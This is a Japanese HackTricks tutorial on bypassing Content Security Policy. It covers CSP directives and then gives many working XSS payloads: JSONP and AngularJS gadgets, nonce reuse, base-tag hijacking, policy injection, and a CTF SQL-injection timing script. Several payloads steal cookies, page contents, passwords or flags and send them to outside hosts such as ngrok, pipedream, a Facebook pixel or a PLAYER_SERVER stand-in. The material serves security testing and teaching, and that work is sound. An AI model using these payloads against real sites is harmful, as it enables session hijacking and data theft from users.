コンテンツセキュリティポリシー (CSP) バイパス
Reading time: 49 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
CSPとは
コンテンツセキュリティポリシー (CSP) は、主にクロスサイトスクリプティング (XSS) などの攻撃からの保護を目的としたブラウザ技術として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや eval
、setTimeout
、setInterval
などの関数を通じて文字列コードの実行を含みます。
CSPの実装は、レスポンスヘッダーを介して行われるか、HTMLページにメタ要素を組み込むことによって行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
- レスポンスヘッダーを介して実装される:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- メタタグを介して実装された:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
ヘッダー
CSPはこれらのヘッダーを使用して強制または監視できます:
Content-Security-Policy
: CSPを強制します; ブラウザは違反をブロックします。Content-Security-Policy-Report-Only
: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
リソースの定義
CSPは、アクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行やeval()
の使用などの側面を制御します。例のポリシーは:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
ディレクティブ
- script-src: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
- default-src: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
- child-src: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
- connect-src: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
- frame-src: フレームのためのURLを制限します。
- frame-ancestors: 現在のページを埋め込むことができるソースを指定します。これは、
<frame>
、<iframe>
、<object>
、<embed>
、および<applet>
のような要素に適用されます。 - img-src: 画像のために許可されたソースを定義します。
- font-src:
@font-face
を使用して読み込まれるフォントのための有効なソースを指定します。 - manifest-src: アプリケーションマニフェストファイルのために許可されたソースを定義します。
- media-src: メディアオブジェクトを読み込むために許可されたソースを定義します。
- object-src:
<object>
、<embed>
、および<applet>
要素のために許可されたソースを定義します。 - base-uri:
<base>
要素を使用して読み込むための許可されたURLを指定します。 - form-action: フォーム送信のための有効なエンドポイントをリストします。
- plugin-types: ページが呼び出すことができるmimeタイプを制限します。
- upgrade-insecure-requests: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
- sandbox:
<iframe>
のsandbox属性に似た制限を適用します。 - report-to: ポリシーが違反された場合にレポートが送信されるグループを指定します。
- worker-src: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
- prefetch-src: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
- navigate-to: ドキュメントがあらゆる手段(a、form、window.location、window.openなど)でナビゲートできるURLを制限します。
ソース
*
:data:
,blob:
,filesystem:
スキームを除くすべてのURLを許可します。'self'
: 同じドメインからの読み込みを許可します。'data'
: データスキーム(例:Base64エンコードされた画像)を介してリソースを読み込むことを許可します。'none'
: どのソースからの読み込みもブロックします。'unsafe-eval'
:eval()
や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。'unsafe-hashes'
: 特定のインラインイベントハンドラを有効にします。'unsafe-inline'
: インラインリソース(インライン<script>
や<style>
など)の使用を許可しますが、セキュリティ上の理由から推奨されません。'nonce'
: 暗号的なnonce(1回使用される番号)を使用して特定のインラインスクリプトのホワイトリストを作成します。- JSの実行が制限されている場合、
doc.defaultView.top.document.querySelector("[nonce]")
を使用してページ内の使用されたnonceを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です(strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。以下のように:
nonceを再利用してスクリプトを読み込む
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。'strict-dynamic'
: nonceまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。'host'
:example.com
のような特定のホストを指定します。https:
: HTTPSを使用するURLに制限します。blob:
: Blob URL(例:JavaScriptを介して作成されたBlob URL)からリソースを読み込むことを許可します。filesystem:
: ファイルシステムからリソースを読み込むことを許可します。'report-sample'
: 違反報告に違反コードのサンプルを含めます(デバッグに便利です)。'strict-origin'
: 'self'に似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを保証します(安全なオリジンのみが安全なオリジンからリソースを読み込むことができます)。'strict-origin-when-cross-origin'
: 同一オリジンリクエストを行う際に完全なURLを送信しますが、クロスオリジンリクエストの場合はオリジンのみを送信します。'unsafe-allow-redirects'
: すぐに別のリソースにリダイレクトされるリソースを読み込むことを許可します。セキュリティを弱めるため推奨されません。
Unsafe CSP Rules
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
これは機能していません。詳細についてはこちらを確認してください。
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
動作するペイロード:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
もしあなたが何らかの方法で許可されたJSコードがあなたのJSコードを使って新しいスクリプトタグをDOMに作成することができれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行されることが許可されます。
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
動作するペイロード:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
object-src と default-src の欠如
[!CAUTION] > これはもはや機能していないようです
Content-Security-Policy: script-src 'self' ;
動作するペイロード:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
ファイルアップロード + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
JSファイルをアップロードできる場合、このCSPをバイパスできます:
動作するペイロード:
"/>'><script src="/uploads/picture.png.js"></script>
しかし、サーバーがアップロードされたファイルを検証している可能性が高く、特定のタイプのファイルのみをアップロードすることを許可するでしょう。
さらに、サーバーが受け入れる拡張子を持つファイルにJSコードを含めてアップロードできたとしても(例えば、script.png_のように)、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは拡張子に基づいてファイルのMIMEタイプを選択し、Chromeのようなブラウザは画像であるべきものの中のJavascriptコードを実行することを拒否するからです。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、Apacheは.wave_拡張子を知らないため、audio/のようなMIMEタイプで提供しません。
ここから、XSSとファイルアップロードを見つけ、誤解された拡張子を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます(ここにいくつかのポリグロットの例があります)。
フォームアクション
JSを注入することができない場合でも、例えば資格情報をフォームアクションを注入することで流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。このレポートに例がありますも見てください。また、default-src
はフォームアクションをカバーしていないことに注意してください。
サードパーティエンドポイント + ('unsafe-eval')
warning
次のペイロードのいくつかに対して**unsafe-eval
は必要ない**場合もあります。
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
脆弱なバージョンのangularをロードし、任意のJSを実行します:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angularを使用したペイロード + window
オブジェクトを返す関数を持つライブラリ (この投稿をチェックしてください):
note
この投稿では、cdn.cloudflare.com
(または他の許可されたJSライブラリリポジトリ)からすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どのライブラリのどの関数がwindow
オブジェクトを返すかを確認できることが示されています。
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
クラス名からのAngular XSS:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Google reCAPTCHA JSコードの悪用
According to this CTF writeup you can abuse https://www.google.com/recaptcha/ inside a CSP to execute arbitrary JS code bypassing the CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
より多くのこのレポートからのペイロード:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
www.google.comを悪用したオープンリダイレクト
次のURLはexample.comにリダイレクトします(こちらから):
https://www.google.com/amp/s/example.com/
*.google.com/script.google.comの悪用
script.google.com内のページで情報を受け取るためにGoogle Apps Scriptを悪用することが可能です。これはこのレポートで行われているように。
サードパーティエンドポイント + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
このようなシナリオでは、script-src
がself
および特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee は、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントを含んでいます。
信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
第三者の悪用
以下の投稿で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
エンティティ | 許可されたドメイン | 機能 |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。
例えば、次のCSPが見つかった場合:
Content-Security-Policy: default-src 'self’ www.facebook.com;
または
Content-Security-Policy: connect-src www.facebook.com;
データを抽出することができるはずです。これは、Google Analytics/Google Tag Managerで常に行われてきたのと同様です。この場合、次の一般的な手順に従います。
- ここでFacebook Developerアカウントを作成します。
- 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
- 「Settings -> Basic」に移動し、「App ID」を取得します。
- データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを通じてデータを抽出できます。
- アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)。
- 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するためのコードを実行します。
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
前の表で指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前のブログ投稿を参照してください。
RPO(相対パス上書き)によるバイパス
前述のパス制限を回避するためのリダイレクションに加えて、いくつかのサーバーで使用できる相対パス上書き(RPO)という別の技術があります。
例えば、CSPがパスhttps://example.com/scripts/react/
を許可している場合、次のようにバイパスできます:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
ブラウザは最終的に https://example.com/scripts/angular/angular.js
を読み込みます。
これは、ブラウザにとって https://example.com/scripts/react/
の下にある ..%2fangular%2fangular.js
という名前のファイルを読み込んでいるため、CSPに準拠しています。
∑、彼らはそれをデコードし、実際には https://example.com/scripts/react/../angular/angular.js
をリクエストします。これは https://example.com/scripts/angular/angular.js
と同等です。
ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます。
解決策は、サーバー側で %2f
を /
として扱わないようにし、ブラウザとサーバー間で一貫した解釈を確保してこの問題を回避することです。
オンライン例: https://jsbin.com/werevijewa/edit?html,output
Iframes JS 実行
base-uri が欠落している場合
base-uri ディレクティブが欠落している場合、ダングリングマークアップインジェクションを実行するために悪用できます。
さらに、相対パスを使用してスクリプトを読み込んでいるページ(例えば <script src="/js/app.js">
)が Nonce を使用している場合、base タグを悪用して自分のサーバーからスクリプトを読み込ませ、XSSを達成できます。
脆弱なページが httpS で読み込まれている場合、baseにhttpS URLを使用してください。
<base href="https://www.attacker.com/" />
AngularJSイベント
特定のポリシーであるContent Security Policy (CSP)は、JavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト$event
を提供します。この$event
オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、$event/event
オブジェクトはpath
属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、window
オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
この配列をorderBy
フィルターに渡すことで、反復処理が可能になり、端末要素(window
オブジェクト)を利用してalert()
のようなグローバル関数をトリガーできます。以下のコードスニペットはこのプロセスを明示しています:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
このスニペットは、ng-focus
ディレクティブを使用してイベントをトリガーし、$event.path|orderBy
を使用してpath
配列を操作し、window
オブジェクトを利用してalert()
関数を実行し、document.cookie
を表示する方法を強調しています。
他のAngularバイパスを見つけるには https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJSとホワイトリストドメイン
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Angular JSアプリケーションでスクリプト読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、このgitリポジトリで入手できます。
動作するペイロード:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
他のJSONP任意実行エンドポイントはこちらで見つけることができます(いくつかは削除または修正されました)
リダイレクションによるバイパス
CSPがサーバーサイドのリダイレクションに遭遇した場合、何が起こるのでしょうか?リダイレクションが許可されていない異なるオリジンに向かう場合、依然として失敗します。
しかし、CSP spec 4.2.2.3. Paths and Redirectsの説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。
以下はその例です:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
CSPがhttps://www.google.com/a/b/c/d
に設定されている場合、パスが考慮されるため、/test
および/a/test
スクリプトはCSPによってブロックされます。
しかし、最終的にhttp://localhost:5555/301
はサーバー側でhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
にリダイレクトされます。リダイレクションであるため、パスは考慮されず、スクリプトは読み込まれることができ、したがってパス制限を回避します。
このリダイレクションにより、パスが完全に指定されていても、依然として回避されます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
ダンギングマークアップを使用したCSPのバイパス
'unsafe-inline'; img-src *; XSS経由
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、img-src *
は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。
このCSPは、画像を介してデータを抽出することでバイパスできます(この場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
この設定を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、特別な画像を作成し、それをTwitterにアップロードして、unsafe-inlineを悪用して、JSコードを実行することができます(通常のXSSのように)。これにより、画像を読み込み、その中からJSを抽出し、それを実行します: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
サービスワーカーを使用して
サービスワーカーの**importScripts
**関数はCSPに制限されません:
ポリシーインジェクション
研究: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
あなたが送信したパラメータがポリシーの宣言内に貼り付けられている場合、ポリシーを無効にする方法でポリシーを変更することができます。これらのバイパスのいずれかを使用して、スクリプト 'unsafe-inline' を許可することができます:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
このディレクティブは既存のscript-srcディレクティブを上書きします。
ここに例があります: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edgeでは、はるかに簡単です。CSPにこれだけ追加できれば: ;_
Edgeはポリシー全体を削除します。
例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - タイムアタック
ディレクティブ 'unsafe-inline'
の欠如に注意してください。
今回は、被害者にあなたの制御下にあるページをXSSを介して**
今回は、フラグが抽出されます。SQLiを介して文字が正しく推測されるたびに、レスポンスがより多くの時間を要します。これはスリープ関数によるものです。そうすれば、フラグを抽出できるようになります:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Via Bookmarklets
この攻撃は、攻撃者がユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させるというソーシャルエンジニアリングを含みます。このブックマークレットには、悪意のあるjavascriptコードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします。
詳細については、こちらで元のレポートを確認してください。
CSP bypass by restricting CSP
このCTFの解説では、CSPが許可されたiframe内により制限されたCSPを注入することによってバイパスされ、特定のJSファイルの読み込みを禁止し、その後、プロトタイプ汚染またはDOMクラッタリングを介して異なるスクリプトを悪用して任意のスクリプトを読み込むことを可能にしました。
**csp
**属性を使用して、IframeのCSPを制限することができます:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
このCTFの解説では、HTMLインジェクションを通じてCSPをより制限することが可能であり、その結果、CSTIを防ぐスクリプトが無効化され、脆弱性が悪用可能になりました。
CSPはHTMLメタタグを使用してより制限的に設定でき、インラインスクリプトを無効にすることでエントリを削除し、nonceを許可し、特定のインラインスクリプトをshaで有効にすることができます。
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration with Content-Security-Policy-Report-Only
サーバーが**Content-Security-Policy-Report-Only
ヘッダーをあなたが制御する値で応答するように管理できれば(おそらくCRLFのため)、あなたのサーバーを指すように設定でき、<script>
で包んだJSコンテンツを外部に抽出したい場合、CSPによってunsafe-inline
が許可されていない可能性が高いため、これがCSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)がContent-Security-Policy-Report-Only
からサーバーに送信されます。
例についてはこのCTFの解説を確認してください。
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
CSPとIframeを使った情報漏洩
iframe
がCSPによって許可されたURL(https://example.redirect.com
と呼びましょう)を指すように作成されます。- このURLは、CSPによって許可されていない秘密のURL(例:
https://usersecret.example2.com
)にリダイレクトします。 securitypolicyviolation
イベントをリッスンすることで、blockedURI
プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作によって機密情報が漏洩する可能性があることは興味深いです。
別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを明らかにすることができます。
両方の方法は、CSPの実装とブラウザの動作のニュアンスを利用しており、一見安全なポリシーがどのようにして意図せずに機密情報を漏洩させるかを示しています。
ここからのトリック。
CSPをバイパスするための危険な技術
パラメータが多すぎるときのPHPエラー
この動画でコメントされた最後の技術によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**header()
**は、このエラーが発生するため送信されません。
PHPレスポンスバッファのオーバーロード
PHPはデフォルトで4096バイトまでレスポンスをバッファリングすることで知られています。したがって、PHPが警告を表示している場合、警告内に十分なデータを提供することで、レスポンスがCSPヘッダーの前に送信され、ヘッダーが無視されることになります。
この技術は基本的に警告でレスポンスバッファを埋めることにより、CSPヘッダーが送信されないようにすることです。
この書き込みからのアイデア。
エラーページの書き換え
この書き込みによると、エラーページ(CSPがない可能性がある)を読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOMEは、ページのエンドポイントでXSS(または非常に制限されたXSS)を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法で、脆弱なエンドポイントは、ペイロード内の**opener
オブジェクトを使用して、悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
SOME - Same Origin Method Execution
さらに、wordpressには、/wp-json/wp/v2/users/1?_jsonp=data
にJSONPエンドポイントがあり、出力に送信されたデータを反映します(文字、数字、ドットのみの制限があります)。
攻撃者は、そのエンドポイントを悪用して、WordPressに対してSOME攻撃を生成し、<script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
内に埋め込むことができます。このスクリプトは、'self'によって許可されているため、ロードされます。さらに、WordPressがインストールされているため、攻撃者はCSPをバイパスする脆弱なコールバックエンドポイントを通じてSOME攻撃を悪用し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...
